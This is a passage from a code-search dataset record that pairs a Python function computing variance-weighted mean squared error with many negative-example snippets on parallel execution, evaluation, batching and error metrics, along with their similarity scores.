multiprocessing callback thread\\n self._original_iterator = None\\n self._pre_dispatch_amount = 0\\n else:\\n self._original_iterator = iterator\\n if hasattr(pre_dispatch, 'endswith'):\\n pre_dispatch = eval_expr(\\n pre_dispatch.replace(\\\"n_jobs\\\", str(n_jobs))\\n )\\n self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)\\n\\n # The main thread will consume the first pre_dispatch items and\\n # the remaining items will later be lazily dispatched by async\\n # callbacks upon task completions.\\n\\n # TODO: this iterator should be batch_size * n_jobs\\n iterator = itertools.islice(iterator, self._pre_dispatch_amount)\\n\\n # Use a caching dict for callables that are pickled with cloudpickle to\\n # improve performances. This cache is used only in the case of\\n # functions that are defined in the __main__ module, functions that\\n # are defined locally (inside another function) and lambda expressions.\\n self._pickle_cache = dict()\\n\\n output = self._get_outputs(iterator, pre_dispatch)\\n self._call_ref = weakref.ref(output)\\n\\n # The first item from the output is blank, but it makes the interpreter\\n # progress until it enters the Try/Except block of the generator and\\n # reach the first `yield` statement. This starts the aynchronous\\n # dispatch of the tasks to the workers.\\n next(output)\\n\\n return output if self.return_generator else list(output)\",\n \"def test_parallel_resistors(self):\\r\\n self.assertEqual(calc.evaluator({}, {}, '1||1'), 0.5)\\r\\n self.assertEqual(calc.evaluator({}, {}, '1||1||2'), 0.4)\\r\\n self.assertEqual(calc.evaluator({}, {}, \\\"j||1\\\"), 0.5 + 0.5j)\",\n \"def eval(x: jnp.ndarray, data_batch: Dataset, **kwargs) -> jnp.ndarray:\\n pass\",\n \"def __call__(self, q, threads = None):\\n if threads is -1: threads = cpu_count()\\n\\n if threads is None:\\n results = [self.evaluate(v) for v in q]\\n elif type(threads) is int and threads > 0:\\n workers = Pool(threads)\\n results = workers.map(self.evaluate, q)\\n else:\\n raise ValueError('threads keyword must be either -1 or an integer greater than zero')\\n\\n mu = [ t[0] for t in results ]\\n sig = [ t[1] for t in results ]\\n return array(mu), array(sig)\",\n \"def _compute_next_evaluations(self, pending_zipped_X=None, ignored_zipped_X=None):\\n\\n ## --- Update the context if any\\n self.acquisition.optimizer.context_manager = ContextManager(self.space, self.context)\\n\\n ### --- Activate de_duplication\\n if self.de_duplication:\\n duplicate_manager = DuplicateManager(space=self.space, zipped_X=self.X, pending_zipped_X=pending_zipped_X, ignored_zipped_X=ignored_zipped_X)\\n else:\\n duplicate_manager = None\\n\\n ### We zip the value in case there are categorical variables\\n return self.space.zip_inputs(self.evaluator.compute_batch(duplicate_manager=duplicate_manager, context_manager= self.acquisition.optimizer.context_manager))\",\n \"def split_calculation_to_threads(iterable, func, args):\\n args_list = []\\n batches = list(split_iterable_to_batches(iterable))\\n for batch in batches:\\n temp = list(args)\\n temp.insert(0, batch)\\n args_list.append(tuple(temp))\\n with Pool(NUM_THREADS) as p:\\n results = p.starmap(func, args_list)\\n return results\",\n \"def __evaluateLocal__(self, featureVals):\\n pass\",\n \"def evaluate(self, X):\\n\\n\\t\\tpass\",\n \"def get_eval_input(self, prev, i):\\n raise AssertionError('Not implemented')\",\n \"def __call__ ( self , *x ) :\\n return partial ( self.__index ,\\n self.func ,\\n x ,\\n self.step ,\\n self.order ,\\n self.err )\",\n \"def evaluator(self, candidates, args):\\r\\n raise NotImplementedError\",\n \"def _fold_loop(cls, f, agg, next):\\n\\n while next is not None:\\n (val, next) = next\\n agg = f(val, agg)\\n return agg\",\n \"def evaluate(self) -> int:\",\n \"def tracked_eval(self, expr):\\n with self.track_reads() as deps:\\n val = expr()\\n return val, deps\",\n \"def evaluate(self, g):\\n pass\",\n \"def run_evaluate_compound(self, data):\\n tp = 0\\n tn = 0\\n fp = 0\\n fn = 0\\n for words, labels, pos in minbatch_generator(data, self.batch_size):\\n labels_pred, sequence_lengths = self.predict_batch(words, pos)\\n if not type(labels_pred) == list:\\n labels_pred = labels_pred.tolist()\\n for i, label_actual in enumerate(labels):\\n # we have to now find all aspect terms. That is, merge consecutive B \\n # with I's until we get an O or B\\n a_terms_actual, non_a_terms_actual = get_aspect_chunks(label_actual)\\n for a_term in a_terms_actual:\\n # say we have [1,2,3] as our a_term. we have to make sure that our \\n # prediction should have tags B, I, I in 1, 2 and 3 indices respectively\\n a_term_pred = []\\n for index in a_term:\\n if not label_actual[index] == labels_pred[i][index]:\\n fn += 1\\n break\\n else:\\n tp += 1\\n for index in non_a_terms_actual:\\n if label_actual[index] == labels_pred[i][index]:\\n tn += 1\\n else:\\n fp += 1\\n\\n precision = 0 if tp+fp == 0 else tp/(tp+fp)\\n recall = 0 if tp+fn == 0 else tp/(tp+fn)\\n fscore = 0 if precision+recall == 0 else (2*recall*precision)/(recall+precision)\\n metrics = dict()\\n metrics[\\\"p_1\\\"] = precision\\n metrics[\\\"f_1\\\"] = fscore\\n metrics[\\\"r_1\\\"] = recall\\n return metrics\",\n \"def batch(size, iterable):\\r\\n return list(xbatch(size, iterable))\",\n \"def splitEval(self, f):\\n return self.split(lambda t,l: t.evaluateFormulaOnTrace(f))\",\n \"def _evaluate(self, x):\\n raise NotImplementedError()\",\n \"def getResult(targets, i=None):\",\n \"def evalDeferred(*args, evaluateNext: bool=True, list: bool=True, lowPriority: bool=True,\\n lowestPriority: bool=True, **kwargs)->List[AnyStr]:\\n pass\",\n \"def calculate(self):\\n if all( map( lambda x: isinstance(x, N),self.args) ):\\n return self.evaluate()\\n else:\\n return self.__class__( map(operator.methodcaller('calculate'), self.args))\\n #return self.__class__( (self.args[0].calculate(), self.args[1].calculate()) )\",\n \"def execs_timeit_2vector(exprs, fname=None):\\r\\n #exp = [(1,100000),(1e1,100000),(1e2,100000),(1e3,100000), (5e3,50000),\\r\\n exp = [(1e3,100000),(5e3,50000), \\\\\\r\\n (1e4,10000),(5e4,5000),(1e5,2000),(1e6,200),(1e7,10)\\r\\n ]\\r\\n ### TO TEST UNCOMMENT THIS LINE\\r\\n # exp = [(1,1000),(1e1,1000),(1e2,1000),]\\r\\n times=[]\\r\\n str_expr=[]\\r\\n for g_exprs in exprs:\\r\\n for expr in g_exprs:\\r\\n nb_call_scal=1\\r\\n if isinstance(expr,tuple):\\r\\n nb_call_scal=expr[1]\\r\\n expr = expr[0]\\r\\n str_expr.append(expr)\\r\\n time=[]\\r\\n for nb_e, nb_c in exp:\\r\\n time.append(timeit_2vector(nb_element=nb_e, nb_repeat=3, nb_call=nb_c*nb_call_scal, expr=expr, do_amd=False))\\r\\n times.append(time)\\r\\n if 'pylab' not in globals():\\r\\n return\\r\\n\\r\\n nb_calls=[e[0] for e in exp]\\r\\n legends=[]\\r\\n colors=['b','r','g','c', 'm', 'y']\\r\\n assert len(colors)>=len(times)\\r\\n fig = pylab.figure()\\r\\n for idx,(time,expr) in enumerate(zip(times,str_expr)):\\r\\n\\r\\n ###\\r\\n ###\\r\\n ###\\r\\n # Creating each subplot\\r\\n ###\\r\\n ###\\r\\n ###\\r\\n ###\\r\\n pylab.subplot(220+idx+1)\\r\\n pylab.subplots_adjust(wspace=0.25, hspace=0.25)\\r\\n #legend=[]\\r\\n #plot = fig.add_subplot(1,len(exprs),idx)\\r\\n speedup = [t[\\\"numpy\\\"].min()/t[\\\"numexpr\\\"].min() for t in time]\\r\\n\\r\\n pylab.semilogx(nb_calls, speedup, linewidth=1.0, color='r')\\r\\n speedup = [t[\\\"numpy\\\"].min()/t[\\\"theano\\\"].min() for t in time]\\r\\n pylab.semilogx(nb_calls, speedup, linewidth=1.0, color = 'b')\\r\\n pylab.grid(True)\\r\\n if (idx == 2) or (idx == 3):\\r\\n pylab.xlabel('Dimension of vectors a and b', fontsize = 15)\\r\\n if (idx == 0) or (idx == 2):\\r\\n pylab.ylabel('Speed up vs NumPy', fontsize = 15)\\r\\n pylab.axhline(y=1, linewidth=1.0, color='black')\\r\\n pylab.xlim(1e3,1e7)\\r\\n pylab.xticks([1e3,1e5,1e7],['1e3','1e5','1e7'])\\r\\n pylab.title(expr)\\r\\n\\r\\n\\r\\n\\r\\n if fname:\\r\\n fig.savefig(fname)\\r\\n pylab.clf()\\r\\n else:\\r\\n pylab.show()\",\n \"def _optimise(self):\\n pass\",\n \"def Eval(state):\\n\\n# H1 = htest2(state)\\n# return H1\\n H2 = h1(state)*monotonic(state)\\n return H2\",\n \"def eval(self, A):\\n\\t\\tpass\",\n \"def parallel_execution(*args):\\n return tuple(\\n map(lambda x: x.result(),\\n [__executor.submit(x) for x in args]\\n )\\n )\",\n \"def test_quad_flush_ind(self):\",\n \"def test_reduce(self):\\n self.assertEqual(15, reduce(lambda x, y: x + y, [1, 2, 3, 4, 5]))\\n self.assertEqual(16, reduce(lambda x, y: x + y, [1, 2, 3, 4, 5], 1))\",\n \"def __call__(self, *args):\\n assert len(args) == len(self.batch_axis), f'Number of arguments passed {len(args)} must match ' \\\\\\n f'batched {len(self.batch_axis)}'\\n nsplits = args[self.batch_axis_argnums[0][0]].shape[self.batch_axis_argnums[0][1]]\\n output, changes = self._call(self.vc.tensors(), [v.split(nsplits) for v in self.vc.subset(RandomState)], *args)\\n for v, u in zip(self.vc, changes):\\n v.reduce(u)\\n return output\",\n \"def _qprocess(self):\\n while 1:\\n t, args, kw = self.inq.get()\\n ret = self.__call__(*args, **kw)\\n self.outq.put((t, ret))\",\n \"def evaluate(self, states, actions, tasks):\\n self._assert_is_batched(states, actions, tasks)\\n return self._tf_call(self._evaluate, states, actions, tasks)\",\n \"def eval_sequence(exps, env):\\n if isLastExp(exps):\\n return m_eval(first_exp(exps), env)\\n else:\\n m_eval(first_exp(exps), env)\\n return eval_sequence(rest_exps(exps), env)\",\n \"def evaluate(self, dataset):\\n\\t\\tpass\",\n \"def batchify_cache(fn, chunk):\\n if chunk is None:\\n return fn\\n\\n def ret(inputs, training = False):\\n\\n ret_list = [fn(inputs[i:i+chunk], training=training) for i in range(0, int(inputs.shape[0]), chunk)]\\n\\n return tf.concat([ret for ret in ret_list], 0)\\n return ret\",\n \"def testTiming(s,iters=10,batchsize=99):\\n\\n qstart = s.getEndConfig();\\n gxcall = \\\"gj\\\"\\n amcall = (\\\"am\\\",0.004)+tuple(qstart)\\n\\n index = 0\\n while index < iters:\\n t0=time.time()\\n res = s.call([gxcall]*batchsize)\\n assert not 'Error' in res,'Error on batch '+str(gxcall)\\n print(\\\"Time for %d gx's (batched): %f\\\"%(batchsize,time.time()-t0))\\n \\n t0=time.time()\\n for i in xrange(batchsize):\\n res = s.call(gxcall)\\n assert res != 'Error','Error on '+str(gxcall)\\n print(\\\"Time for %d gx's (unbatched): %f\\\"%(batchsize,time.time()-t0))\\n\\n t0=time.time()\\n res = s.call([amcall]*batchsize)\\n assert not 'Error' in res,'Error on batch '+str(amcall)\\n print(\\\"Time for %d am's (batched): %f\\\"%(batchsize,time.time()-t0))\\n t0=time.time()\\n\\n t0=time.time()\\n s.call([amcall]*batchsize,wantReply=False)\\n print(\\\"Time for %d am's (batched,noreply): %f\\\"%(batchsize,time.time()-t0))\\n ret = s.echo(\\\"blah\\\")\\n assert ret == \\\"blah\\\"\\n print(\\\" Responsive after time %f\\\"%(time.time()-t0))\\n\\n t0=time.time()\\n for i in xrange(batchsize):\\n res=s.call(amcall)\\n assert 'Error' != res,'Error on '+str(amcall)\\n print(\\\"Time for %d am's (unbatched): %f\\\"%(batchsize,time.time()-t0))\\n\\n t0=time.time()\\n for i in xrange(batchsize):\\n s.call(amcall,wantReply=False)\\n print(\\\"Time for %d am's (unbatched,noreply): %f\\\"%(batchsize,time.time()-t0))\\n ret = s.echo(\\\"blah\\\")\\n assert ret == \\\"blah\\\"\\n print(\\\" Responsive after time %f\\\"%(time.time()-t0))\\n \\n index += 1\",\n \"def eager_map(func, iterable):\\n for _ in map(func, iterable):\\n continue\",\n \"def test_identity_multiple_batched(self, dev):\\n qml.enable_tape()\\n dev = qml.device(dev, wires=2)\\n\\n with qml.tape.QuantumTape() as tape1:\\n qml.expval(qml.Identity(wires=[0]))\\n qml.expval(qml.Identity(wires=[1]))\\n\\n res = dev.batch_execute([tape1])\\n assert len(res) == 1\\n assert np.allclose(res[0], np.array([1, 1]))\\n qml.disable_tape()\",\n \"def eval(self):\\n arg_list = list(self.__args)\\n for i, arg in enumerate(self.__args):\\n if isinstance(arg, LazyOperation): \\n arg_list[i] = arg.eval()\\n \\n self.__args = tuple(arg_list)\\n \\n for key in self.__kwargs:\\n if isinstance(self.__kwarg[key], LazyOperation):\\n self.__kwarg[key] = self.__kwarg[key].eval()\\n \\n return self.__func(*self.__args, **self.__kwargs)\",\n \"def testNoCatchEagerOpExecution(self):\\n check_numerics_callback.enable_check_numerics()\\n x = constant_op.constant([2.0, 3.0])\\n y = constant_op.constant([1.0, 0.0])\\n self.assertAllClose((x + y) * (x - y), [3.0, 9.0])\",\n \"def batch_execute(global_step, thunks, batch_size, name=None):\\n\\n def true_fn(thunk):\\n \\\"\\\"\\\"Ensures thunk is executed and returns an Op (not a Tensor).\\\"\\\"\\\"\\n\\n def result():\\n with tf.control_dependencies([thunk()]):\\n return tf.no_op()\\n\\n return result\\n\\n def false_fn(_):\\n \\\"\\\"\\\"Executes a no-op.\\\"\\\"\\\"\\n\\n def result():\\n return tf.no_op()\\n\\n return result\\n\\n with tf.name_scope(name, \\\"batch_execute\\\"):\\n true_fns = [true_fn(thunk) for thunk in thunks]\\n false_fns = [false_fn(thunk) for thunk in thunks]\\n num_thunks = len(thunks)\\n conditions = [\\n tf.less(\\n tf.mod(batch_size - 1 + global_step * batch_size - j, num_thunks),\\n batch_size) for j in range(num_thunks)\\n ]\\n result = [\\n tf.cond(condition, true_fn, false_fn)\\n for (condition, true_fn,\\n false_fn) in zip(conditions, true_fns, false_fns)\\n ]\\n return result\",\n \"def get_eval_batch(self) -> jnp.ndarray:\\n\\n return self.dataset[-self.eval_batch_size:, ...]\",\n \"def body(i, *args):\\n del args\\n fn_result = fn(ctx, iterator.get_next())\\n flat_last_step_outputs = nest.flatten(ctx.last_step_outputs)\\n with ops.control_dependencies([fn_result]):\\n return [i + 1] + flat_last_step_outputs\",\n \"def wrap_execute_sequence(wrap_func, iterate_vals, nb_workers=NB_THREADS,\\n desc='', ordered=False):\\n iterate_vals = list(iterate_vals)\\n nb_workers = 1 if not nb_workers else int(nb_workers)\\n\\n tqdm_bar = None\\n if desc is not None:\\n desc = '%r @%i-threads' % (desc, nb_workers)\\n tqdm_bar = tqdm.tqdm(total=len(iterate_vals), desc=desc)\\n\\n if nb_workers > 1:\\n logging.debug('perform parallel in %i threads', nb_workers)\\n # Standard mproc.Pool created a demon processes which can be called\\n # inside its children, cascade or multiprocessing\\n # https://stackoverflow.com/questions/6974695/python-process-pool-non-daemonic\\n pool = mproc.Pool(nb_workers)\\n pooling = pool.imap if ordered else pool.imap_unordered\\n\\n for out in pooling(wrap_func, iterate_vals):\\n tqdm_bar.update() if tqdm_bar is not None else None\\n yield out\\n pool.close()\\n pool.join()\\n else:\\n logging.debug('perform sequential')\\n for out in map(wrap_func, iterate_vals):\\n tqdm_bar.update() if tqdm_bar is not None else None\\n yield out\\n\\n tqdm_bar.close() if tqdm_bar is not None else None\",\n \"def on_eval_batch_end(self, step, logs=None):\",\n \"def test_dup_args_in_call(x):\\n return x * x\",\n \"def test_dup_args_in_call(x):\\n return x * x\",\n \"def _pipe_and_accumulate(val, fns):\\n for fn in fns:\\n val = fn(val)\\n yield val\",\n \"def accumulate(binop, seq):\\n result = next(iter(seq))\\n yield result\\n for elem in itertools.islice(seq, 1, None):\\n result = binop(result, elem)\\n yield result\",\n \"def evaluate(self, tree):\\n\\t\\tpass\",\n \"def merge_reduce(function: typing.Callable, data: list) -> typing.Any:\\n queue = deque(range(len(data)))\\n while len(queue):\\n x_value = queue.popleft()\\n if len(queue):\\n y_value = queue.popleft()\\n data[x_value] = function(data[x_value], data[y_value])\\n queue.append(x_value)\\n else:\\n return data[x_value]\",\n \"def run_eval_epoch(sess, cost_op, ops, num_unrolls, step=None, unroll_len=None):\\n start = timer()\\n # sess.run(reset)\\n total_cost = []\\n feed_dict = {}\\n for i in xrange(num_unrolls):\\n if step is not None:\\n feed_dict[step] = i * unroll_len + 1\\n cost = sess.run([cost_op] + ops, feed_dict=feed_dict)[0]\\n total_cost.append(cost)\\n return timer() - start, total_cost\",\n \"def full_eval(val, env):\\n eval_expr = val.partialEval(env)\\n return eval_expr.v\",\n \"def _evaluate(model):\\n _recompile(model)\\n if isinstance(eval_dataset, tuple):\\n eval_images, eval_labels = eval_dataset\\n return model.evaluate(\\n eval_images, eval_labels, verbose=verbose, return_dict=True)\\n else:\\n return model.evaluate(eval_dataset, verbose=verbose, return_dict=True)\",\n \"def eval(self):\\n raise NotImplementedError\",\n \"def evaluate(f, a):\\n if f == []:\\n return 0\\n result = f[-1] # begin with leading coefficient\\n i = len(f) - 1 # number of times to iterate \\n while i >= 0:\\n result = f[i] + a*result\\n i -= 1\\n return result\",\n \"def process_jobs_(jobs):\\n out = []\\n for job in jobs:\\n out_ = MultiProcessingFunctions.expand_call(job)\\n out.append(out_)\\n return out\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6869179","0.67925566","0.6759077","0.67315304","0.5874977","0.57868266","0.56216645","0.54925203","0.547827","0.54709744","0.54341394","0.54341394","0.54228586","0.54214734","0.5414435","0.54052544","0.5348475","0.5341137","0.53396255","0.53319865","0.5328727","0.5327035","0.53258854","0.5294377","0.5291677","0.5286623","0.5283916","0.52828234","0.52781045","0.5276413","0.5259299","0.5251662","0.52502763","0.52502763","0.52502763","0.5249554","0.52480495","0.52414745","0.5230151","0.5211086","0.5210316","0.52099156","0.5201562","0.5201013","0.5196967","0.519176","0.51770836","0.5170957","0.5169514","0.5160117","0.5147342","0.5145685","0.51352733","0.5133122","0.51323664","0.51279044","0.5126176","0.51245576","0.51193154","0.51132464","0.5111647","0.50926137","0.50899327","0.50820154","0.5081363","0.5074459","0.5070156","0.5067136","0.5065392","0.50559527","0.50551134","0.5046718","0.5046452","0.50391","0.5037389","0.503232","0.50243944","0.5022127","0.50216347","0.5017553","0.501605","0.50140196","0.50102943","0.5001104","0.5000392","0.49996385","0.49989614","0.49897015","0.49850947","0.49748424","0.49748424","0.49745142","0.4973968","0.4969736","0.49696782","0.4969444","0.49680772","0.4966519","0.49612576","0.4959855","0.49588498"],"string":"[\n \"0.6869179\",\n \"0.67925566\",\n \"0.6759077\",\n \"0.67315304\",\n \"0.5874977\",\n \"0.57868266\",\n \"0.56216645\",\n \"0.54925203\",\n \"0.547827\",\n \"0.54709744\",\n \"0.54341394\",\n \"0.54341394\",\n \"0.54228586\",\n \"0.54214734\",\n \"0.5414435\",\n \"0.54052544\",\n \"0.5348475\",\n \"0.5341137\",\n \"0.53396255\",\n \"0.53319865\",\n \"0.5328727\",\n \"0.5327035\",\n \"0.53258854\",\n \"0.5294377\",\n \"0.5291677\",\n \"0.5286623\",\n \"0.5283916\",\n \"0.52828234\",\n \"0.52781045\",\n \"0.5276413\",\n \"0.5259299\",\n \"0.5251662\",\n \"0.52502763\",\n \"0.52502763\",\n \"0.52502763\",\n \"0.5249554\",\n \"0.52480495\",\n \"0.52414745\",\n \"0.5230151\",\n \"0.5211086\",\n \"0.5210316\",\n \"0.52099156\",\n \"0.5201562\",\n \"0.5201013\",\n \"0.5196967\",\n \"0.519176\",\n \"0.51770836\",\n \"0.5170957\",\n \"0.5169514\",\n \"0.5160117\",\n \"0.5147342\",\n \"0.5145685\",\n \"0.51352733\",\n \"0.5133122\",\n \"0.51323664\",\n \"0.51279044\",\n \"0.5126176\",\n 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variance."},"document":{"kind":"string","value":"def msevar(y_true, y_pred, y_all=None, var=None):\n\n if var is None and y_all is None:\n return 0.0\n if var is None:\n var = np.std(y_all, axis=0) ** 2\n return ((y_true - y_pred) ** 2).dot(var)/var.sum()"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def rmse(self):\n lam = self.lam()\n weights = lam / lam.sum()\n weighted_var = self.var() * weights\n rmse = np.sqrt(weighted_var.sum())\n return rmse","def _mse(self):\n error = self._input * self._weights - self._label\n sum_ = 0.0\n for i in range(self._input.shape[0]):\n sum_ += error[i, 0]**2\n return sum_/self._input.shape[0]","def compute_MSE(e):\n\n return 1/2*np.mean(e**2)","def compute_mse(y, tx, w):\n print(\"y.shape = \", y.shape)\n print(\"tx.shape = \", tx.shape)\n e = y - tx.dot(w)\n print(\"e.shape = \", e.shape)\n mse = e.T.dot(e) / (2 * len(e))\n return mse","def calculate_mse(e):\n return 1/2*np.mean(e.dot(e))","def compute_mse(y, tx, w):\n e = y[:, np.newaxis] - tx @ w\n return (e * e).sum() / (2.0 * len(y))","def _mse(self, weights):\n error = self._input * weights - self._label\n sum_ = 0.0\n for i in range(self._input.shape[0]):\n sum_ += error[i, 0]**2\n return sum_ / self._input.shape[0]","def calculate_mse(e):\r\n return 1/2*np.mean(e**2)","def mse(X, Y, W):\n\n # TODO\n mse = np.sum((X@W-Y)**2)/(2*X.shape[0])\n # END TODO\n\n return mse","def mse(datax,datay,w):\n return np.mean((datax.dot(w.T)-datay)**2)","def mse(gt, pred):\n return np.mean((gt - pred) ** 2)","def mse(gt, pred):\n return np.mean((gt - pred) ** 2)","def compute_rmse(y, tx, w):\n return np.sqrt(2*compute_mse(y,tx,w))","def calcSE(self):\n # Make sure the Variance is already calculated\n if not hasattr(self,'ZmAreaVar'):\n self.calcZmAreaVar()\n # Standard Error = Square Root of Variance\n self.SE = self.ZmAreaVar ** 0.5\n # Should I be returning the value also?\n # Or just setting the attribute?\n return self.SE","def calcSE(self):\n # Make sure the Variance is already calculated\n if not hasattr(self,'ZmAreaVar'):\n self.calcZmAreaVar()\n # Standard Error = Square Root of Variance\n self.SE = self.ZmAreaVar ** 0.5\n # Should I be returning the value also?\n # Or just setting the attribute?\n return self.SE","def compute_mse(y, tx, w):\n e = y-tx@w\n return 1/(2*y.shape[0])*e.transpose()@e","def MSE(X, y, w):\r\n n = X.shape[0]\r\n f = X @ w\r\n J = np.sum(np.power((y - f), 2)) / n\r\n return J","def MSE(actual, noisy):\n mean_squared_error(actual, noisy)","def calc_rmse(self, data):\n res= data.score- data[['userid','itemid']].apply(lambda row:self.calc_score(row[0], row[1]),axis=1)\n res=[el**2 for el in np.array(res)]\n return np.sqrt(np.sum(res)/data.shape[0])","def rmse(self):\n y_pred, y_true = self._finalize_labels_and_prediction()\n\n return np.sqrt(F.mse_loss(y_pred, y_true).cpu().item())","def rmse(self):\n y_pred, y_true = self._finalize_labels_and_prediction()\n\n return np.sqrt(F.mse_loss(y_pred, y_true).cpu().item())","def rmse(self, weights=None) -> float:\n return sqrt(np.average((self.true - self.predicted) ** 2, axis=0, weights=weights))","def compute_rmse(y, tx, w):\n return np.sqrt(2 * compute_mse(y, tx, w))","def compute_mse(y, tx, w):\n e = y - tx@w\n mse = e.T.dot(e) /(2*len(e))\n return mse","def mse(x, y):\n\n return (x - y).pow(2).sum(dim=1, keepdim=True).mean() / x.size(1)","def mse(observed, predicted):\n return np.sqrt(np.mean((observed - predicted)**2))","def compute_mse(y, tx, w):\n e = y - tx.dot(w)\n mse = e.dot(e) / (2 * len(e))\n return mse","def mse(y_true: np.ndarray, y_pred: np.ndarray) -> float:\n return np.mean(np.power(y_true - y_pred, 2))","def rmse(self):\n return (self.model_error()**2).mean()**.5","def mse(self):\n xs, ys = self.R.nonzero()\n predicted = self.full_matrix()\n error = 0\n for x, y in zip(xs, ys):\n # print(predicted[x, y], self.R[x, y] )\n error += pow(self.R[x, y] - predicted[x, y], 2)\n return np.sqrt(error)","def mse(result, expected):\n total_square_sum = 0\n for index1 in range(0, len(result)):\n total_square_sum += (result[index1] - expected[index1]) ** 2\n return total_square_sum / float(len(result))","def _compute_variance(params):\n batch_grad = self._fetch_batch_grad(params, aggregate=True)\n grad = self._fetch_grad(params, aggregate=True)\n batch_size = batch_grad.size(0)\n\n if self._use_double:\n batch_grad = batch_grad.double()\n grad = grad.double()\n\n return (1 / (batch_size - 1)) * ((batch_size * batch_grad - grad) ** 2).sum(\n 0\n )","def mse(self, X, Y):\n\t\treturn mse_k(X, to_1_of_K(Y))","def compute_RMSE(e):\n \"\"\"Corresponds to sqrt(2*MSE)\"\"\"\n \n return np.sqrt(2*compute_MSE(e))","def mse(actual,expected):\n return np.mean(se(actual,expected))","def em_var(self) -> float:\n if self.__total_pulls == 0:\n raise Exception('Number of pulls is 0. No empirical variance.')\n return (self.__sum_of_square_reward -\n self.__total_rewards**2 / self.__total_pulls) / self.__total_pulls","def computeMse(data_target, Y):\n if data_target.shape != Y.shape:\n print \"the shapes does not correspond\",\n print data_target.shape,\n print Y.shape\n exit(-1)\n return np.sum(np.square(data_target - Y) / Y.shape[0])","def calc_mse(data, ax=0):\n return ((data[:, 0] - data[:, 1]) ** 2).mean(axis=ax)","def calcEout(model_type): \n b, v = calcStatistics(model_type)\n return b + v","def compute_mse_loss(y, tx, w):\n e = y - np.dot(tx, w)\n N = e.size\n return (1./(2*N)) * np.sum(np.square(e))","def compute_loss_mse(y, tx, w):\n e = y - tx.dot(w)\n\n return e.dot(e.T)/(2*len(e))","def mse(targets: List[float], preds: List[float]) -> float:\n return mean_squared_error(targets, preds)","def mse(predicted, actual):\n diff = predicted - actual\n return np.average(diff * diff, axis=0)","def calculate_mse(in_img, out_img):\n error = 0\n for x in range(in_img.shape[0]):\n for y in range(in_img.shape[1]):\n error += (in_img[x, y] - out_img[x, y]) ** 2\n return error / (in_img.shape[0] * in_img.shape[1])","def error_MSE(resid):\n if resid.ndim == 2:\n return (norm(np.asarray(resid).ravel())**2)/float(resid.shape[1])\n elif resid.ndim == 1:\n return (norm(np.asarray(resid).ravel())**2)\n else:\n raise Exception(\"array passed to error_MSE has incorrect shape\")","def mse ( target_array ):\n return np.mean ( ( target_array - np.mean ( target_array ) ) ** 2 )\n # End mse()","def mse_k(self, X, Y):\n\t\treturn np.power(Y - self.predict_soft(X), 2).sum(1).mean(0)","def compute_loss(y, tx, w):\n # ***************************************************\n # INSERT YOUR CODE HERE\n # TODO: compute loss by MSE / MAE\n # ***************************************************\n \n # vector e\n e = compute_e(y, tx, w)\n N = compute_N(e)\n L_MSE = np.dot(np.matrix.transpose(e), e)\n L_MSE = L_MSE / (2 * N)\n \n return L_MSE","def RMSE(observed: np.ndarray, targets: np.ndarray) -> np.float64:\n\treturn np.sqrt(np.mean((observed-targets)**2))","def mse(self, x_tensors=None):\n\n return self.se(x_tensors)/self.y.size","def rmse(y_preds: ndarray, y_actual: ndarray) -> float:\n\n return np.sqrt(np.mean(np.power(y_preds - y_actual, 2)))","def compute_loss_mse(y, tx, w):\n y = np.array([y]).T.reshape([len(y), 1])\n w = np.array([w]).T.reshape([len(w), 1])\n \n e = y - np.matmul(tx,w) \n \n return (1/(2 * y.shape[0])) * (e.T.dot(e))","def d_mse(x, y):\n\n return 2 * (x - y) / x.size(0) / x.size(1)","def variance(self):\n sum_sqdif = 0 # initialize sum of squared differences\n # Calculate sum of squared differences\n for site in self.sites:\n sqdif = (site.siteZmArea - self.meanZmArea()) ** 2\n sum_sqdif = sqdif + sum_sqdif \n # Standard Deviation\n stddev = ((1 / ( float(self.ni) - 1 )) * sum_sqdif ) ** 0.5\n # Variance\n var = stddev ** 2\n return var","def mse(sim, obs, dim=\"time\"):\n # wrap numpy function\n kwargs = dict(\n input_core_dims=[[dim], [dim]], dask=\"parallelized\", output_dtypes=[float]\n )\n mse = xr.apply_ufunc(_mse, sim, obs, **kwargs)\n mse.name = \"mse\"\n return mse","def mse(self, y):\n return T.mean((self.y_pred - y) ** 2)","def mse(A, B):\n return ((A - B) ** 2).mean(axis=0)","def calc_RMSE(pred, gt, mask, percentage=False, model='', index=None):\n if model[:6] == 'conv3d':\n #true_mask[:, :, 1:-1] = mask[:, :, 1:-1]\n mask[:, :, 0] = 0\n mask[:, :, -1] = 0\n if index is not None:\n index = index - 1\n\n if index is not None:\n pred = pred[:, :, index:index+1]\n gt = gt[:, :, index:index+1]\n mask = mask[:, :, index:index+1]\n\n pred = pred[mask > 0]\n gt = gt[mask > 0]\n\n if percentage:\n return np.sqrt((((pred - gt) / (gt + 1e-7)) ** 2).mean())\n else:\n return np.sqrt(((pred - gt) ** 2).mean())","def mse(Y_truth, Y_new):\n Y_new_mean = np.mean(Y_new, axis = 1)[:,None]\n mse_calc = np.mean((Y_new_mean - Y_truth[:,None]) ** 2)\n return mse_calc","def mse(self, data, *args, **kwargs):\n return self._mse(np.array(data), *args, **kwargs)","def MSE(a,b,axis):\n return ((a-b)**2).mean(axis=axis)","def variance(self):\n return 1 / self.count() * sum((number-self.average())**2 for number in self.numbers)","def decomposed_mse(self) -> float:\n e_std = np.std(self.true)\n s_std = np.std(self.predicted)\n\n bias_squared = self.bias() ** 2\n sdsd = (e_std - s_std) ** 2\n lcs = 2 * e_std * s_std * (1 - self.corr_coeff())\n\n decomposed_mse = bias_squared + sdsd + lcs\n\n return float(decomposed_mse)","def calc_variance(a, b, c, d, e):\n mean_of_num = (a + b + c + d + e) / 5\n return ( (a - mean_of_num)**2 + (b - mean_of_num)**2 + (c - mean_of_num)**2\n + (d - mean_of_num)**2 + (e - mean_of_num)**2) / 5","def irmse(self) -> float:\n # Getting the gradient of the observed data\n obs_len = self.true.size\n obs_grad = self.true[1:obs_len] - self.true[0:obs_len - 1]\n\n # Standard deviation of the gradient\n obs_grad_std = np.std(obs_grad, ddof=1)\n\n # Divide RMSE by the standard deviation of the gradient of the observed data\n return float(self.rmse() / obs_grad_std)","def rmse(x, y):\n return mse(x, y) ** .5","def _compute_rmse(self, data):\n actual = data.rating.values\n pred = self._predict_all(data)\n rmse = 